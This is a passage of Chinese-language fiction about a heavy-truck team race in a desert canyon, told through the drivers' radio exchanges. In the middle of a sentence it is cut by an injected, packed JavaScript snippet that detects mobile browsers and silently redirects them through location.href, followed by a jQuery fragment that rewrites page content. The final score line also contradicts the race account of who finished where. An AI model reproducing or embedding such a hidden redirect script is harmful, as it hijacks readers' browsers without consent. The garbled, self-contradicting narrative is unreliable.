六月二十七日，西部時間十七點整，烈日依舊高掛天頂，將整片賽道鋪上一層鋼鐵色的反光。這是一條錯綜複雜的山谷環道，氣溫接近攝氏三十七度，熱浪翻湧，柏油地面上浮動著朦朧的熱氣，連遠處的岩壁都顯得虛晃不清。遠處山脊上，稀疏的枯草在熱風中微微顫動，彷彿也在為即將展開的激烈對決屏息以待。
五輛大貨車自檢修區駛入起跑線，是來自雅瑪托達瑪希車隊的戰車。他們排列整齊，像是古戰場上整裝待發的戰士。旁邊，順天車隊的五輛重型貨車陸續就位。每一輛車的引擎低吼聲交織，宛如一群巨獸在沉睡中甦醒，準備撕裂這片炙熱的山谷。
駕駛艙內，雅瑪托達瑪希車隊的隊長庫瑪尬伊·希娜閉眼數秒，調整呼吸，然後睜開眼睛時，那對眼瞳中閃爍著截然不同的冷光。她的手指輕輕滑過方向盤，彷彿在撫摸一柄即將出鞘的利刃，內心已將整場比賽的節奏刻畫成圖。
「今日的比賽，我們不只是要贏，還要壓制他們，讓他們從戰術到信念都崩潰。」她的聲音低沉，透過無線電傳至隊內頻道。
「了解。」修伍塔的聲音如刀鋒掠過，「我會把他們逼到邊線去。」
「我守後段，但會在第二圈時做個假的外切引誘。」琉伍塔穩穩地說。
「托摩科，妳盡量留在內圈，等我拉開距離後再補上來，別太早暴露意圖。」希娜指示。
「我會等待妳的訊號。」她的聲音如溪水潺潺，平靜卻有力。
「達伊奇……」希娜最後喚了一聲。
「我在。」達伊奇簡短地回答。
「你要像斧頭一樣，劈開他們的隊形，懂嗎？」
「了解。」他不再多言。
順天車隊方面，輝炎握緊方向盤，雙眼注視前方那無盡蜿蜒的山谷線，面上神色如常，卻有一種令人無法忽視的沈穩壓迫感。他並未第一時間開口，而是輕扣幾下儀表板，彷彿正在與自己對話。他的指尖在儀表板上輕敲出節奏，像是在為即將展開的戰術演奏譜寫序曲。
「各位，這場比賽，我們要打得比他們還要雅緻。」他的語氣輕柔，卻有種從骨子裡散發出的威勢。
「交給我開局。」瑪麗亞語音中透著火焰，明亮又倔強，「我會像劍一樣先刺進去。」
「我與孝山守第二波，我們會看清他們隊形再決定變陣。」瑜瑪說道，語調不急不徐。
「我在第三圈前不會動，但只要他們露出破綻，我會切下去。」惠珍的聲音一如往常那樣安靜，但其中卻潛藏著某種無可撼動的決心。
輝炎微微一笑，低聲說：「很好。這不是一場爭奪，而是一場演奏。」
火炮聲響起，引擎如戰鼓轟鳴，整片賽道的空氣瞬間被碾成震顫的弦音。五輛雅瑪托達瑪希的重車首先沖出起跑線，像五道鋼輪之刃，鋒利又精準地劃向前方。希娜的車身滑入最內側，她的姿態既強勢又沈穩，宛如一柄尚未出鞘的太刀。車輪碾過柏油路，揚起一陣細碎的塵沙，彷彿戰場上的硝煙初起。
順天車隊的瑪麗亞緊隨其後，毫無遲疑地從外線追壓，試圖截住希娜的起跑優勢。兩輛車並排掠過第一個緩彎時幾乎只隔著兩指寬的距離，銀藍與赤紅交錯，激起如刀鋒般的氣流。
「小心她會收線。」希娜低語。
瑪麗亞果然在第二個彎角時強行內切，企圖將希娜逼出主線，但希娜瞬間補油，車身一震，硬是保住了那條最小曲率半徑的主軸線。
後方，修伍塔與琉伍塔開始展開兩翼包夾，兩輛車一左一右，開始對順天的中段發動壓力。
「孝山、瑜瑪，壓住他們的車頭，不要讓他們開口。」輝炎下令。
孝山立即向內壓縮，與瑜瑪的車身在狹窄的坡段彎道中形成封鎖，將修伍塔逼退半格。但琉伍塔則繞向外側，以一種看似不合常理的路線提速加壓，下一秒便在交錯點上重回與修伍塔平行。
「我要開口了。」達伊奇的聲音終於響起。
雅瑪托達瑪希課隊最後車輛開始加速，那龐大車身宛如一根倒懸的巨錘，在狹窄的山道上以令人匪夷所思的節奏逐漸逼近順天車隊的尾部。車身側面的金屬徽章在夕陽下閃爍，像是宣告即將到來的破壞力。
惠珍看見了後照鏡中的接近軌跡，冷靜地轉換檔位，進行準備。這不是普通的加速逼近，而是一種節奏上的斷裂式壓制，仿佛要從後段直接崩解整體隊形。
「我來處理後方。」她簡短回應，開始主動變線，將自己與主隊拉開微距，以吸引對方注意。
第二段平直路段即將到來。這裡是比賽的核心轉折點之一，雖然路面較為平坦，卻因為前後坡段的落差會造成空氣流動劇變，使得車體容易產生短暫漂浮感，任何一絲不慎便會被捲入氣旋失速。
希娜此刻已與瑪麗亞拉開車距，穩穩佔據第一，緊接著的是修伍塔與孝山爭搶第三名位置，兩人幾乎齊頭。琉伍塔與瑜瑪也開始繞線競速，在極短的距離內展開攻防。
這條直線賽段的中央，是雅瑪托達瑪希隊的主控區。他們利用兩輛車在內外線交錯，引導對手選擇錯誤軌跡，使順天隊形漸漸鬆動。輝炎看到這一幕，沒有立刻應對，而是沉聲開口：
「不動。讓他們繼續演。」
但他眼中卻閃過一抹幽光，似乎正在等待一個更關鍵的破口。
就在那一瞬，前方坡道產生劇烈落差，車隊高速下滑的動能開始干擾後輪貼地穩定性。空氣在卡車車體下方瞬間掀起一陣亂流，如同看不見的手撥亂整個節奏。瑪麗亞突感方向盤一緊，立即放鬆煞車，用車身重量壓制跳動，才穩住了線路。
但正是這個微小的遲疑，讓希娜猛然從內線再度貼上，幾乎是硬生生將瑪麗亞擠回中線。兩車貼合之際，鋼鐵碰鋼鐵，火花自車輪邊沿綻放，像流星般劃破焦灼的賽道氛圍。火花在熱浪中閃爍，彷彿賽道本身也在為這一刻的碰撞低吼。
「她讓開了！上！」修伍塔大喊。
琉伍塔緊接著穿過內線，搶下第三位置。修伍塔則鎖定瑪麗亞外側，兩人並行數十米後，藉由前方下坡重壓時機，他率先搶入彎中，將順序拉至第二。
「前段完成突破，調整陣型。」希娜語氣平穩，卻明顯帶著剛奪回控制權的銳利。
後方，達伊奇依舊緊咬惠珍，兩車進入一段起伏不定的連續Ｓ彎。這種地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15848089|132887||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
形極度考驗駕駛對重心的控制與方向盤的微操，一旦過彎角度稍有不對，便會拖慢整個車速。惠珍選擇較穩定但偏慢的彎線，希望保住節奏，而達伊奇則一次又一次在每個轉角的最後一刻外拋切入，像是用繩索一樣一步步將距離拉近。
「他太激進了，不用跟他拼過彎。」輝炎冷靜提醒。
「我知道。」惠珍回應簡短。
就在彎道出口處，直線段前的短坡讓車輛稍稍失重，達伊奇利用車身偏移加大重心擺動，硬是將右側車輪抬起片刻，在落地的瞬間藉慣性斜切，超越惠珍半車位。
「他成功了，排在第五。」琉伍塔匯報。
輝炎這時緩緩調高油門，在順天隊形的中心段平穩加壓，逐步逼近琉伍塔。這位隊長宛如一尊從未動怒的雕像，卻在最後兩公里內突然爆發精準進攻。
「修伍塔、琉伍塔，你們隊形壓太開了。」希娜提醒。
「知道，他想切中。」修伍塔將車身內縮，壓低中線空間。
但輝炎已將自己塞入車尾側緣的氣流縫隙中，短短幾秒間，他連續完成三次輪跡微調，每一次都精確地貼近內線彎緣，彷彿他的車與賽道本身共鳴。他的車身在陽光下折射出冷冽的金屬光澤，像是一道無聲的閃電劃過賽道。
「再給我兩百公尺。」他低聲說。
琉伍塔回頭望了一眼後照鏡，神色一凜。他知曉這不是一般的加速，而是將整場比賽前段保留的節奏與能量，在此刻如刀鋒般釋放。
進入最後一圈。
希娜依舊穩居前列，但修伍塔與琉伍塔與她之間的空隙開始明顯。輝炎憑藉出神入化的路線選擇，在第三彎進入與琉伍塔並行，第四彎強行切內，車體滑出一道劇烈摩擦痕，車尾幾乎橫甩而出，但他硬是用前輪轉向拉回線路。
「他切過來了！」琉伍塔大吼。
「別爭，讓他先進來，轉中線保住三四。」希娜果斷下令。
琉伍塔咬牙，將油門稍微鬆開半秒，讓輝炎順利搶下第二名。修伍塔則迅速擋住輝炎之後可能再度超車的動線，保持第三。
「穩住。目標是二三四。」希娜說。
「了解。」琉伍塔與修伍塔幾乎同聲回應。
瑪麗亞尚未放棄，在最後一段直線中，她試圖重奪第四名，但琉伍塔利用左側卡角緊緊守住，讓她找不到機會切入。
「他們包住我了，我無法再前推。」瑪麗亞呼氣聲重，帶著少許怒意。
「保持第五，我們有一分。」輝炎回應冷靜。
最後一百五十公尺，五輛車幾乎如列隊入場般排入終點線。
希娜居首，輝炎緊跟其後，修伍塔與琉伍塔一前一後，卡位精準，而瑪麗亞則在兩人之後咬牙堅持。
終點線靜靜浮現，無需多言，所有駕駛都明白，這場比賽的每一次過彎、每一寸路線選擇，都如同刀鋒劃過神經。
雅瑪托達瑪希車隊第二、三、四名，總計得9分。
順天車隊第一、五名，總計得6分。
這不是完美的壓制，卻是一場戰術層面的完勝。
而這，僅僅是復活賽的第二天傍晚而已。